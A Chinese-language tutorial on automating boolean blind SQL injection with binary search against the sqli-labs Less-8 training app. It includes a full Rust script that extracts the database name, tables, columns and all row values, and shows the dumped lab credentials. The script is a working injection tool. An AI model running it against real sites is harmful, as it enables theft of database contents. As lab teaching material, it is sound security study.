布尔盲注二分查找
此处用到的是 sqlilabs 的第 8 关
本文主要介绍用二分法实现布尔盲注
介绍
布尔盲注是在 SQL 注入漏洞的错误消息, 返回数据或其他明显响应被遮蔽时, 通过解析响应是否为 true
或 false
来获得信息
思路
通过 true
才可以得到正常响应的特性, 可以通过比较字符的 ascii 码, 一点一点的把字符串推导出来
例如下面这条语句:
id=1' AND (SELECT ascii(substr(database(),1,1))=ascii('a'))--+
通过将 'a'
遍历到 'z'
, 观察何时正常响应, 确定第一个字符, 再将 substr()
函数的第二个参数 1 -> 9
遍历, 循环上一个过程即可得到完整的名字
如果手工这样做会非常麻烦, 所以需要借助注入工具, 或者编写脚本
代码实现
这里使用 rust 来实现, 嫌麻烦可以用 python
cargo.toml:
这里是需要的依赖
[dependencies]
tokio = { version = "1.37.0", features = ["full"]}
reqwest = "0.12.4"
regex = "1.10.4"
静态变量:
static CLIENT: OnceCell<Client> = OnceCell::const_new();
初始化 client:
client 可复用
async fn init_client() -> Result<&'static Client, Box<dyn std::error::Error>> {
CLIENT.get_or_try_init(|| async { Ok(Client::new()) }).await
}
判断请求是否成功:
async fn is_condition_true(url: &str, condition: &str) -> bool {
let client = init_client().await.unwrap();
let query = format!("?id=1' AND {}", condition);
let response = client.get(&format!("{}{}", url, query))
.send()
.await;
match response {
Ok(resp) => {
// 这里根据实际页面返回情况而定
resp.status().is_success() && resp.text().await.unwrap().contains("You are in")
}
Err(_) => false,
}
}
盲注:
使用二分查找加快效率
async fn blind_injection(url: &str, condition_format: &str, limit: u32, extra_params: Vec<&str>) -> String {
let mut extracted_value = String::new();
let mut hold = false; // 控制循环次数
let mut condition = condition_format.to_string();
// 格式化
for param in extra_params {
condition = condition.replacen("#", param, 1);
}
for i in 1..=limit {
hold = false;
let mut left: u8 = 31;
let mut right: u8 = 127;
let mut mid: u8 = 158 / 2;
while left < right {
let mut format_condition = String::new();
format_condition = condition.replacen("#", i.to_string().as_str(), 1);
format_condition = format_condition.replacen("#", ">", 1);
format_condition = format_condition.replacen("#", mid.to_string().as_str(), 1);
if is_condition_true(url, &format_condition).await {
left = mid + 1;
} else {
right = mid;
}
mid = left + (right - left) / 2;
}
// mid > 31 时表示找到了. 上面退出循环时, mid 始终是大于 31 (找到) 或者等于 31 (未找到)
if mid > 31 {
hold = true;
let ch = char::from(mid);
extracted_value.push(ch);
println!("Found character at position {}: {}", i, &ch);
}
// 超出真实字符串长度, 退出循环
if !hold {
break;
}
}
extracted_value
}
获取数据库:
async fn get_database(url: &str) -> String {
let condition_format = "(SELECT ascii(substr(database(),#,1))) # #--+";
blind_injection(url, condition_format, 20, vec![]).await
}
获取表名:
async fn get_tables(url: &str, database: &str) -> String {
let condition_format = "(SELECT ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='#'),#,1)) # #)--+";
blind_injection(url, condition_format, 1024, vec![database]).await
}
获取列名:
async fn get_columns(url: &str, database: &str, table: &str) -> String {
let condition_format = "(SELECT ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='#' AND table_name='#'),#,1)) # #)--+";
blind_injection(url, condition_format, 1024, vec![database, table]).await
}
获取值
async fn get_values(url: &str, table: &str, columns: &Vec<String>) -> String {
let condition_format = format!("(SELECT ascii(substr((SELECT group_concat({}) FROM #),#,1)) # #)--+", columns.join(",")).replacen(",", ",':',", columns.len() - 1);
blind_injection(url, condition_format.as_str(), 1024, vec![table]).await
}
main:
#[tokio::main]
async fn main() {
let re = Regex::new(r"[, ]+").unwrap();
let url = "http://192.168.10.94/sqli-labs/Less-8/";
let database = get_database(url).await;
let tables = get_tables(url, &database).await;
let table_vec: Vec<&str> = re.split(&tables).collect();
let mut columns_map: HashMap<String, Vec<String>> = HashMap::new();
let mut values_map: HashMap<String, Vec<String>> = HashMap::new();
// 获取各表所有的列名
for table in &table_vec {
let columns: String = get_columns(url, &database, table).await;
let column_vec: Vec<String> = re.split(&columns).map(|x| { x.to_string() }).collect();
// 获取各表所有的值
let values: String = get_values(url, table, &column_vec).await;
let value_vec: Vec<String> = re.split(&values).map(|x1| { x1.to_string() }).collect();
values_map.insert(table.to_string(), value_vec);
columns_map.insert(table.to_string(), column_vec);
}
println!("{}", &database);
println!("{:?}", &table_vec);
println!("{:?}", &columns_map);
println!("{:?}", &values_map);
}
结果
security
["emails", "referers", "uagents", "users"]
{"referers": ["id", "ip_address", "referer"], "uagents": ["id", "ip_address", "uagent", "username"], "emails": ["email_id", "id"], "users": ["id", "password", "username"]}
{"referers": [""], "uagents": [""], "users": ["1:Dumb:Dumb", "2:I-kill-you:Angelina", "3:p@ssword:Dummy", "4:crappy:secure", "5:stupidity:stupid", "6:genious:superman", "7:mob!le:batman", "8:admin:admin", "9:admin1:admin1", "10:admin2:admin2", "11:admin3:admin3", "12:dumbo:dhakkan", "14:admin4:admin4"], "emails": ["Dumb@dhakkan.com:1", "Angel@iloveu.com:2", "Dummy@dhakkan.local:3", "secure@dhakkan.local:4", "stupid@dhakkan.local:5", "superman@dhakkan.local:6", "batman@dhakkan.local:7", "admin@dhakkan.com:8"]}